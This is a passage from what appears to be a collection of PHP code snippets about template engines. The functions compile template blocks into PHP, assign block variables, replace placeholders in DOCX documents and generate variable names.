nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset($this->_tpldata[\\'' . $n[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $n[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\n\t\t\t\t\t// We have the end of a block.\n\t\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t\t$block_nesting_level--;\n\t\t\t\t\t$code_lines[$i] .= '} // END ' . $n[1];\n\t\t\t\t\t$m[0] = $n[0];\n\t\t\t\t\t$m[1] = $n[1];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// We have the start of a block.\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset($this->_tpldata[\\'' . $m[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $m[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t// We have the end of a block.\n\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t$block_nesting_level--;\n\t\t\t\t$code_lines[$i] = '} // END ' . $m[1];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// We have an ordinary line of code.\n\t\t\t\tif (!$do_not_echo)\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = 'echo \\'' . $code_lines[$i] . '\\' . \"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = '$' . $retvar . '.= \\'' . $code_lines[$i] . '\\' . \"\\\\n\";'; \n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Bring it back into a single string of lines of code.\n\t\t$code = implode(\"\\n\", $code_lines);\n\t\treturn $code\t;\n\n\t}", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strpos($blockname, '.') !== false)\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata;\n\t\t\tfor($i = 0; $i < $blockcount; $i++)\n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i] . '.'];\n\t\t\t\t$str = &$str[sizeof($str) - 1];\n\t\t\t}\n\n\t\t\t$s_row_count = isset($str[$blocks[$blockcount] . '.']) ? sizeof($str[$blocks[$blockcount] . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// Now the tricky part, we always assign S_LAST_ROW and remove the entry before\n\t\t\t// This is much more clever than going through the complete template data on display (phew)\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($str[$blocks[$blockcount] . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Now we add the block that we're actually assigning to.\n\t\t\t// We're adding a new iteration to this block with the given variable assignments.\n\t\t\t$str[$blocks[$blockcount] . '.'][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Top-level block.\n\t\t\t$s_row_count = (isset($this->_tpldata[$blockname . '.'])) ? sizeof($this->_tpldata[$blockname . '.']) : 0;\n\t\t\t$vararray['S_ROW_COUNT'] = $s_row_count;\n\n\t\t\t// Assign S_FIRST_ROW\n\t\t\tif (!$s_row_count)\n\t\t\t{\n\t\t\t\t$vararray['S_FIRST_ROW'] = true;\n\t\t\t}\n\n\t\t\t// We always assign S_LAST_ROW and remove the entry before\n\t\t\t$vararray['S_LAST_ROW'] = true;\n\t\t\tif ($s_row_count > 0)\n\t\t\t{\n\t\t\t\tunset($this->_tpldata[$blockname . '.'][($s_row_count - 1)]['S_LAST_ROW']);\n\t\t\t}\n\n\t\t\t// Add a new iteration to this block with the variable assignments we were given.\n\t\t\t$this->_tpldata[$blockname . '.'][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "function setBlock($resource_name, $variable = NULL, $cache_id = null)\n\t{ \n if (strpos($resource_name, '.') === false) {\n\t\t\t$resource_name .= '.tpl';\n\t\t}\n \n if ($variable){\n $content = parent::fetch($theme.'/'.$resource_name, $cache_id);\n \n $this->_globals[$variable] = $content;\n \n parent::clear_all_assign();\n\n } else {\n\t\t\n\n return parent::fetch($resource_name, $cache_id);\n }\n\t}", "function generateTemplateVariableHTML($rec,$cntr) {\n global $_TABLES,$_CONF;\n\n $p = new Template($_CONF['path_layout'] . 'nexflow/admin');\n $p->set_file ('variables','template_variables.thtml');\n $p->set_file ('variable_rec','template_variable_record.thtml');\n\n $p->set_var('template_id',$rec);\n $p->set_var('cntr',$cntr);\n\n $sql = \"SELECT * FROM {$_TABLES['nftemplatevariables']} WHERE nf_templateID='{$rec}' ORDER BY id\";\n $query = DB_Query($sql);\n $numrows = DB_numrows($query);\n if ($numrows > 0) {\n $j=1;\n $p->set_var('show_vars','');\n $p->set_var('vdivid','');\n\n while ( $A = DB_fetchArray($query) ) {\n $edit_link = \"[&nbsp;<a href=\\\"#\\\" onClick='ajaxUpdateTemplateVar(\\\"edit\\\",{$rec},{$cntr},{$j});'\\\">Edit</a>&nbsp;]\";\n $del_link = \"[&nbsp;<a href=\\\"#\\\" onClick='ajaxUpdateTemplateVar(\\\"delete\\\",{$rec},{$cntr},{$j});'\\\">Delete</a>&nbsp;]\";\n $p->set_var('variable_name',$A['variableName']);\n $p->set_var('variable_value',$A['variableValue']);\n $p->set_var('var_id',$j);\n $p->set_var('edit_link',$edit_link);\n $p->set_var('delete_link',$del_link);\n if ($j == 1) {\n $p->parse('template_variable_records','variable_rec');\n } else {\n $p->parse('template_variable_records','variable_rec',true);\n }\n $j++;\n }\n } else {\n $p->set_var('show_vars','none');\n $p->set_var('vdivid',\"vars{$cntr}\");\n $p->set_var('template_variable_records','');\n }\n $p->parse ('output', 'variables');\n $html = $p->finish ($p->get_var('output'));\n $html = htmlentities($html);\n\n return $html;\n}", "public function assignTemplateVariable($varName, $varValue);", "function _varname($varname) {\n\t\treturn \"{\".$varname.\"}\";\n\t}", "public function visitVariableAstNode( ezcTemplateVariableAstNode $var )\n {\n $this->write( '$' . $var->name );\n }", "function _compile_text($code, $use_isset)\n\t{\n\t\tif(strlen($code) < 3)\n\t\t{\n\t\t\treturn $code;\n\t\t}\n\t\t// change template varrefs into PHP varrefs\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\t$search = array();\n\t\t$replace = array();\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname, $use_isset);\n\t\t\t$search[] = $varrefs[0][$i];\n\t\t\t$replace[] = $new;\n\t\t}\n\t\tif(sizeof($search) > 0)\n\t\t{\n\t\t\t$code = str_replace($search, $replace, $code);\n\t\t}\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '<'.'?php echo isset($this->vars[\\'\\1\\']) ? $this->vars[\\'\\1\\'] : $this->lang(\\'\\1\\'); ?'.'>', $code);\n\t\t$code = preg_replace('#\\{\\$([a-z0-9\\-_]*?)\\}#is', '<'.'?php echo isset($this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'\\\\1\\']) ? $this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'\\\\1\\'] : \\'\\'; ?'.'>', $code);\n\t\treturn $code;\n\t}", "function e($var_nm)\n{\n\tglobal $$var_nm ;\n\n\treturn '$' . $var_nm . ' = ' . $$var_nm . ' ' ;\n}", "public function replaceVariable()\n {\n $args = func_get_args();\n $cloneDom = '';\n $domParent = '';\n\n if (is_string($args[0])) {\n // Sometimes Word splits tags. Find and replace all of them with\n // new string surrounded by template symbol value\n $documentSymbol =\n explode(self::$_templateSymbol, self::$_document);\n foreach ($documentSymbol as $documentSymbolValue) {\n if (strip_tags($documentSymbolValue) == $args[0]) {\n self::$_document = str_replace(\n $documentSymbolValue, $args[0], self::$_document\n );\n }\n }\n }\n\n // Replace VAR within DOCX.\n if ($args[2] == 'docx' && is_string($args[0]) && is_string($args[1])) {\n if (!$this->_isDOCX) {\n $this->addContentTypes('<Default Extension=\"zip\" ContentType=\"application/vnd.openxmlformats'\n . '-officedocument.wordprocessingml.document.main+xml\"> </Default>');\n $this->_isDOCX = true;\n }\n $this->addRelationship('<Relationship Id=\"rDOCXId' . $this->_idDOCX .\n '\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/' .\n 'aFChunk\" Target=\"docx' . $this->_idDOCX .\n '.zip\" TargetMode=\"Internal\"></Relationship>');\n // add source and dest filepath\n self::$embedFiles[] = array(\n 'src_file' => $args[1],\n 'dest_file' => 'docx' . $this->_idDOCX . '.zip'\n );\n $args[1] = '<' . CreateElement::NAMESPACEWORD . ':altChunk r:id=\"rDOCXId' . $this->_idDOCX . '\" ' .\n 'xmlns:r=\"http://schemas.openxmlformats.org/' . 'officeDocument/2006/relationships\" ' .\n 'xmlns:w=\"http://schemas.openxmlformats.org/' . 'wordprocessingml/2006/main\" />';\n $this->_idDOCX++;\n }\n\n // Replace VAR within MHT.\n if ($args[2] == 'mht' && is_string($args[0]) && is_string($args[1])) {\n if (!$this->_isMHT) {\n $this->addContentTypes('<Default Extension=\"mht\" ContentType=\"message/rfc822\"> </Default>');\n $this->_isMHT = true;\n }\n $this->addRelationship('<Relationship Id=\"rMHTId' . $this->_idMHT .\n '\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/' .\n 'relationships/aFChunk\" Target=\"mht' . $this->_idMHT .\n '.mht\" TargetMode=\"Internal\"></Relationship>');\n // add source string and dest filepath\n self::$embedFiles[] = array(\n 'src_file' => $args[1],\n 'dest_file' => 'mht' . $this->_idMHT . '.mht'\n );\n $args[1] = '<' . CreateElement::NAMESPACEWORD . ':altChunk r:id=\"rMHTId' . $this->_idMHT . '\" ' .\n 'xmlns:r=\"http://schemas.openxmlformats.org/' . 'officeDocument/2006/relationships\" ' .\n 'xmlns:w=\"http://schemas.openxmlformats.org/' . 'wordprocessingml/2006/main\" />';\n $this->_idMHT++;\n }\n\n // Replace VAR within HTML.\n if ($args[2] == 'html' && is_string($args[0]) && is_string($args[1])) {\n if (!$this->_isHTML) {\n $this->addContentTypes('<Default Extension=\"htm\" ContentType=\"application/xhtml+xml\"> </Default>');\n $this->_isHTML = true;\n }\n $this->addRelationship('<Relationship Id=\"rHTMLId' . $this->_idHTML .\n '\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/' .\n 'relationships/aFChunk\" Target=\"html' . $this->_idHTML .\n '.htm\" TargetMode=\"Internal\"></Relationship>');\n // add source string and dest filepath\n self::$embedFiles[] = array(\n 'src_string' => '<html>' . $args[1] . '</html>',\n 'dest_file' => 'html' . $this->_idHTML . '.htm'\n );\n $args[1] = '<' . CreateElement::NAMESPACEWORD . ':altChunk r:id=\"rHTMLId' . $this->_idHTML . '\" ' .\n 'xmlns:r=\"http://schemas.openxmlformats.org/' . 'officeDocument/2006/relationships\" ' .\n 'xmlns:w=\"http://schemas.openxmlformats.org/' . 'wordprocessingml/2006/main\" />';\n $this->_idHTML++;\n }\n\n // Replace VAR within an image.\n if ($args[2] == 'image' && is_string($args[0]) && is_string($args[1])) {\n // transform image to MHT file to embed it\n $imageToMHT = new MhtFileMaker();\n list($imgWidth, $imgHeight, $imgType, $imgAttr) = getimagesize($args[1]);\n $imageToMHT->AddContents('file:///C:/2673C891/Doc1.htm', 'text/html; charset=\"us-ascii\"', chunk_split('<html xmlns:v=3D\"urn:schemas-microsoft-com:vml\" xmlns:o=3D\"urn:schemas-microsoft-com:office:office\" xmlns:w=3D\"urn:schemas-microsoft-com:office:word\" xmlns:m=3D\"http://schemas.microsoft.com/office/2004/12/omml\" xmlns=3D\"http://www.w3.org/TR/REC-html40\"><head></head><body lang=3DEN-US style=3D\\'tab-interval:36.0pt\\'><div class=3DSection1><p class=3DMsoNormal><span style=3D\\'mso-no-proof:yes\\'><!--[if gte vml 1]><v=:shapetype id=3D\"_x0000_t75\" coordsize=3D\"21600,21600\" o:spt=3D\"75\" o:preferrelative==3D\"t\" path=3D\"m@4@5l@4@11@9@11@9@5xe\" filled=3D\"f\" stroked=3D\"f\"> <v:stroke joinstyle=3D\"miter\"/> <v:formulas><v:f eqn=3D\"if lineDrawn pixelLineWidth 0\"/><v:f eqn=3D\"sum @0 1 0\"/><v:f eqn=3D\"sum 0 0 @1\"/><v:f eqn=3D\"prod @2 1 2\"/><v:f eqn=3D\"prod @3 21600 pixelWidth\"/><v:f eqn=3D\"prod @3 21600 pixelHeight\"/><v:f eqn=3D\"sum @0 0 1\"/><v:f eqn=3D\"prod @6 1 2\"/><v:f eqn=3D\"prod @7 21600 pixelWidth\"/><v:f eqn=3D\"sum @8 21600 0\"/><v:f eqn=3D\"prod @7 21600 pixelHeight\"/><v:f eqn=3D\"sum @10 21600 0\"/></v:formulas><v:path o:extrusionok=3D\"f\" gradientshapeok=3D\"t\" o:connecttype=3D\"rect\"/><o:lock v:ext=3D\"edit\" aspectratio=3D\"t\"/></v:shapetype><v:shape id=3D\"Picture_x0020_1\" o:spid=3D\"_x0000_i1025\" type=3D\"#_x0000_t75\" style=3D\\'width:' . $imgWidth . 'pt;height:' . $imgHeight . 'pt;visibility:visible;mso-wrap-style:square\\'><v:imagedata src=3D\"Doc1_files/image001.' . $imageToMHT->GetExtension($args[1]) . '\" o:title=3D\"\"/></v:shape><![endif]--></span></p></div></body></html>', 5000), 'quoted-printable');\n $imageToMHT->AddFile($args[1]);\n if (!$this->_isMHT) {\n $this->addContentTypes('<Default Extension=\"mht\" ContentType=\"message/rfc822\"> </Default>');\n $this->_isMHT = true;\n }\n $this->addRelationship('<Relationship Id=\"rMHTId' . $this->_idMHT .\n '\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/' .\n 'relationships/aFChunk\" Target=\"mht' . $this->_idMHT .\n '.mht\" TargetMode=\"Internal\"></Relationship>');\n // add source string and dest filepath\n self::$embedFiles[] = array(\n 'src_string' => $imageToMHT->GetFile(),\n 'dest_file' => 'mht' . $this->_idMHT . '.mht'\n );\n $args[1] = '<' . CreateElement::NAMESPACEWORD . ':altChunk r:id=\"rMHTId' . $this->_idMHT . '\" ' .\n 'xmlns:r=\"http://schemas.openxmlformats.org/' . 'officeDocument/2006/relationships\" ' .\n 'xmlns:w=\"http://schemas.openxmlformats.org/' . 'wordprocessingml/2006/main\" />';\n $this->_idMHT++;\n }\n\n // Replace VAR within RTF.\n if ($args[2] == 'rtf' && is_string($args[0]) && is_string($args[1])) {\n if (!$this->_isRTF) {\n $this->addContentTypes('<Default Extension=\"rtf\" ContentType=\"application/rtf\"> </Default>');\n $this->_isRTF = true;\n }\n $this->addRelationship('<Relationship Id=\"rRTFId' . $this->_idRTF .\n '\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/' .\n 'aFChunk\" Target=\"rtf' . $this->_idRTF . '.rtf\" TargetMode=\"Internal\">' .\n '</Relationship>');\n // add source and dest filepath\n self::$embedFiles[] = array(\n 'src_file' => $args[1],\n 'dest_file' => 'rtf' . $this->_idRTF . '.rtf'\n );\n $args[1] = '<' . CreateElement::NAMESPACEWORD .\n ':altChunk r:id=\"rRTFId' . $this->_idRTF . '\" ' .\n 'xmlns:r=\"http://schemas.openxmlformats.org/' .\n 'officeDocument/2006/relationships\" ' .\n 'xmlns:w=\"http://schemas.openxmlformats.org/' .\n 'wordprocessingml/2006/main\" />';\n $this->_idRTF++;\n }\n\n // Only lists and tables are supported.\n if (($args[1] == 'list' || $args[1] == 'table') && is_array($args[0])) {\n $domDocument = new DomDocument();\n $domDocument->loadXML(self::$_document);\n\n $xmlWP = $domDocument->getElementsByTagNameNS(\n 'http://schemas.openxmlformats.org/wordprocessingml/2006/main',\n 'p'\n );\n $xpath = new DOMXPath($domDocument);\n $query = 'w:r/w:t';\n $length = $xmlWP->length;\n $itemsWP = array();\n for ($i = 0; $i < $length; $i++) {\n $itemsWP[$i] = $xmlWP->item($i);\n }\n for ($i = 0; $i < $length; $i++) {\n $variables = $xpath->query($query, $itemsWP[$i]);\n foreach ($variables as $entry) {\n if (isset($args[2]['header'])) {\n foreach ($args[0] as $valuesArray) {\n foreach ($valuesArray as $keys => $values) {\n if (empty($entry->nodeValue)) {\n continue;\n }\n if (\n strpos(\n $entry->nodeValue,\n self::$_templateSymbol . $keys .\n self::$_templateSymbol\n ) !== false\n ) {\n if ($args[1] == 'list') {\n $domP = $entry->parentNode->parentNode;\n $domParent = $entry->parentNode->\n parentNode->parentNode;\n $cloneDom = $entry->\n parentNode->parentNode->cloneNode(true);\n try {\n $domP->parentNode->insertBefore(\n $cloneDom, $domP\n );\n }\n catch (Exception $e) {\n CreateDocx::$log->fatal(\n $e->getMessage()\n );\n exit();\n }\n } elseif ($args[1] == 'table') {\n $domTR = $entry->parentNode->\n parentNode->parentNode->\n parentNode;\n if (\n $entry->parentNode->\n parentNode->parentNode->\n parentNode->nodeName == 'w:tr'\n ) {\n $domParent = $entry->parentNode->\n parentNode->parentNode->\n parentNode->parentNode;\n $cloneDom = $entry->parentNode->\n parentNode->parentNode->\n parentNode->cloneNode(true);\n try {\n $domTR->parentNode->insertBefore(\n $cloneDom, $domTR\n );\n }\n catch (Exception $e) {\n CreateDocx::$log->fatal(\n $e->getMessage()\n );\n exit();\n }\n }\n }\n }\n /* Only the first key is needed to iterate over\n * DOM and clone the required nodes.\n */\n break;\n }\n }\n } else {\n if ($args[1] == 'list') {\n $domP = $entry->parentNode->parentNode;\n $domParent = $entry->parentNode->\n parentNode->parentNode;\n $cloneDom = $entry->\n parentNode->parentNode->cloneNode(true);\n try {\n $domP->parentNode->insertBefore(\n $cloneDom, $domP\n );\n }\n catch (Exception $e) {\n CreateDocx::$log->fatal(\n $e->getMessage()\n );\n exit();\n }\n } elseif ($args[1] == 'table') {\n $domTR = $entry->parentNode->\n parentNode->parentNode->\n parentNode;\n if (\n $entry->parentNode->\n parentNode->parentNode->\n parentNode->nodeName == 'w:tr'\n ) {\n $domParent = $entry->parentNode->\n parentNode->parentNode->\n parentNode->parentNode;\n $cloneDom = $entry->parentNode->\n parentNode->parentNode->\n parentNode->cloneNode(true);\n try {\n $domTR->parentNode->insertBefore(\n $cloneDom, $domTR\n );\n }\n catch (Exception $e) {\n CreateDocx::$log->fatal(\n $e->getMessage()\n );\n exit();\n }\n }\n }\n /* Only the first key is needed to iterate over\n * DOM and clone the required nodes.\n */\n break;\n }\n }\n }\n /* A last element is created due to number of values plus the first\n * used as placeholder. Just remove it.\n */\n if (is_object($domParent)) {\n $domParent->removeChild($cloneDom);\n }\n self::$_document = $domDocument->saveXML();\n }\n\n // Iterate text array.\n if (is_string($args[0]) && is_array($args[1])) {\n $domDocument = new DomDocument();\n $domDocument->loadXML(self::$_document);\n\n $xmlWP = $domDocument->getElementsByTagNameNS(\n 'http://schemas.openxmlformats.org/wordprocessingml/2006/main',\n 'p'\n );\n $xpath = new DOMXPath($domDocument);\n $query = 'w:r/w:t';\n $length = $xmlWP->length;\n $itemsWP = array();\n for ($i = 0; $i < $length; $i++) {\n $itemsWP[$i] = $xmlWP->item($i);\n }\n for ($i = 0; $i < $length; $i++) {\n $variables = $xpath->query($query, $itemsWP[$i]);\n foreach ($variables as $entry) {\n foreach ($args[1] as $values) {\n if (\n self::$_templateSymbol . $args[0] .\n self::$_templateSymbol ==\n $entry->nodeValue\n && $entry->nodeValue != '$'\n ) {\n $domP = $entry->parentNode->parentNode;\n $domParent = $entry->parentNode->\n parentNode->parentNode;\n $cloneDom = $entry->\n parentNode->parentNode->cloneNode(true);\n try {\n $domP->parentNode->insertBefore(\n $cloneDom, $domP\n );\n }\n catch (Exception $e) {\n CreateDocx::$log->fatal(\n $e->getMessage()\n );\n exit();\n }\n }\n }\n }\n }\n /* A last element is created due to number of values plus the first\n * used as placeholder. Just remove it.\n */\n if (is_object($domParent)) {\n $domParent->removeChild($cloneDom);\n }\n self::$_document = $domDocument->saveXML();\n }\n\n if (is_string($args[0])) {\n // Text string or array of texts\n if (is_string($args[1])) {\n // if text string escape chars\n if (empty($args[2])) {\n $args[1] = htmlspecialchars($args[1]);\n }\n // Single text string\n self::$_document = str_replace(\n self::$_templateSymbol . $args[0]\n . self::$_templateSymbol,\n $args[1],\n self::$_document\n );\n $i = 0;\n foreach (self::$_footer as $footer) {\n self::$_footer[$i] = str_replace(self::$_templateSymbol . $args[0] . self::$_templateSymbol,\n $args[1], $footer);\n $i++;\n }\n $i = 0;\n foreach (self::$_header as $header) {\n self::$_header[$i] = str_replace(self::$_templateSymbol . $args[0] . self::$_templateSymbol,\n $args[1], $header);\n $i++;\n }\n } elseif (is_array($args[1])) {\n // Text array\n foreach ($args[1] as $values) {\n // if text string escape chars\n if (empty($args[2])) {\n $values = htmlspecialchars($values);\n }\n self::$_document = preg_replace(\n '/\\\\' . self::$_templateSymbol . $args[0]\n . '\\\\' . self::$_templateSymbol . '/',\n $values,\n self::$_document,\n 1\n );\n $i = 0;\n foreach (self::$_footer as $footer) {\n self::$_footer[$i] = preg_replace('/\\\\' . self::$_templateSymbol . $args[0] . '\\\\' .\n self::$_templateSymbol . '/', $values, $footer, 1);\n $i++;\n }\n $i = 0;\n foreach (self::$_header as $header) {\n self::$_header[$i] = preg_replace('/\\\\' . self::$_templateSymbol . $args[0] . '\\\\' .\n self::$_templateSymbol . '/', $values, $header, 1);\n $i++;\n }\n }\n }\n } elseif (is_array($args[0])) {\n // List or table\n foreach ($args[0] as $values) {\n foreach ($values as $keys => $textValue) {\n // escape chars\n $textValue = htmlspecialchars($textValue);\n $documentSymbol =\n explode(self::$_templateSymbol, self::$_document);\n foreach ($documentSymbol as $documentSymbolValue) {\n if (strip_tags($documentSymbolValue) == $keys) {\n self::$_document = str_replace(\n $documentSymbolValue, $keys, self::$_document\n );\n }\n }\n self::$_document = preg_replace(\n '/\\\\' . self::$_templateSymbol . $keys . '\\\\' .\n self::$_templateSymbol . '/',\n $textValue,\n self::$_document,\n 1\n );\n $i = 0;\n foreach (self::$_footer as $footer) {\n self::$_footer[$i] = preg_replace('/\\\\' . self::$_templateSymbol . $keys . '\\\\' .\n self::$_templateSymbol . '/', $textValue, $footer, 1);\n $i++;\n }\n $i = 0;\n foreach (self::$_header as $header) {\n self::$_header[$i] = preg_replace('/\\\\' . self::$_templateSymbol . $keys . '\\\\' .\n self::$_templateSymbol . '/', $textValue, $header, 1);\n $i++;\n }\n }\n }\n }\n }", "public function generate() {\n return 'namespace ' . $this->namespace;\n }", "protected function generateVarName($prefix = '')\n\t{\n\t\tif (!$this->var_uniq) {\n\t\t\t$this->var_uniq = substr(md5(mt_rand()), 1, 4);\n\t\t}\n\t\t$name = $this->var_uniq . (++$this->var_id);\n\t\treturn '$'.$prefix.'_'.$name;\n\t}", "public function render_variable_name($str, $option = NULL)\n\t{\n\t\tif ($option === NULL)\n\t\t{\n\t\t\t$option = $this->config->get_options('names.variable');\n\t\t}\n\t\treturn '$'.$this->render_name($str, $option);\n\t}", "public function printVar($varName) {\n if ( isset($this->templateVars[$varName]) ) {\n echo $this->templateVars[$varName];\n }\n }", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strstr($blockname, '.'))\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata; \n\t\t\tfor ($i = 0; $i < $blockcount; $i++) \n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i]]; \n\t\t\t\t$str = &$str[sizeof($str) - 1]; \n\t\t\t}\n\t\t\t$str[$blocks[$blockcount]][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpldata[$blockname][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "private function replaceLoopingVars($element, $data)\n\t{\n\t\t$content = urldecode($element->ownerDocument->saveHTML($element));\n\t\t$content = preg_replace('/(<.*?c\\.)([a-zA-Z0-9_]+)(.*?>)/', '$1$2=\"\"$3', $content);\n\t\t// The formatted code without dot prefix\n\t\t$pattern = '/\\{\\{\\.(.*?)\\}\\}/';\n\t\t$callback = function($match) use($data) {\n\t\t\t$var_name = $match[1];\n\t\t\treturn isset($data[$var_name]) ? $data[$var_name] : null;\n\t\t};\n\t\t$content = preg_replace_callback($pattern, $callback, $content);\n\t\t$this->setInnerHTML($element, $content);\n\t}", "public function visitDynamicVariableAstNode( ezcTemplateDynamicVariableAstNode $var )\n {\n $this->write( '${' );\n $var->nameExpression->accept( $this );\n $this->write( '}' );\n }", "function get_nested_val($name){ // SYSTEM FUNCTION - DO NOT USE!\n\t$curr_var = $this->vars[$name];\n\tfor($c = 0; $c <= $this->system_vars['cycle_nesting']; $c++)\n\t\t$curr_var = $curr_var[$this->system_vars['cycle_counters'][$c]];\n\tif (is_array($curr_var)){\n\t\t$this->show_notice($name, 3);\n\t\t$curr_var = '<font color=\"red\"><b>INVALID</b></font>';\n\t}\n\treturn $curr_var;\n}", "protected function getVariablesComment()\n {\n return '<p><p><b>' . __('Template variables') . '</b><br>' .\n '<p>[attribute] — e.g. [name], [price], [manufacturer], [color] — '\n . __('will be replaced with the respective product attribute value or removed if value is not available') . '<br>' .\n '<p>[attribute1|attribute2|...] — e.g. [manufacturer|brand] — ' .\n __('if the first attribute value is not available for the product the second will be used and so on untill it finds a value') . '<br>' .\n '<p>[prefix {attribute} suffix] or<br><p>[prefix {attribute1|attribute2|...} suffix] — e.g. [({color} color)] — ' .\n __('if an attribute value is available it will be prepended with prefix and appended with suffix, either prefix or suffix can be used alone') . '.<br>';\n }", "public function generateFullyQualifiedNames($tpl, $path){\n\t\t\t$posStart = strpos($tpl, '<pp:dynamic ');\n\t\t\t\n\t\t\twhile ($posStart !== false) {\n\t\t\t\t$startEnd = strpos($tpl, '>', $posStart + 15);\n\t\t\t\t$nameTag = trim(substr($tpl, $posStart + 11, $startEnd-11-$posStart));\n\t\t\t\t$nameTag = substr($nameTag, 6, -1);\n\t\t\t\t\n\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic ', $posStart + 20);\n\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posStart) + Template::DCTL;\n\n\t\t\t\twhile($nextStart !== false && $nextStart < $posEnd && $posEnd > 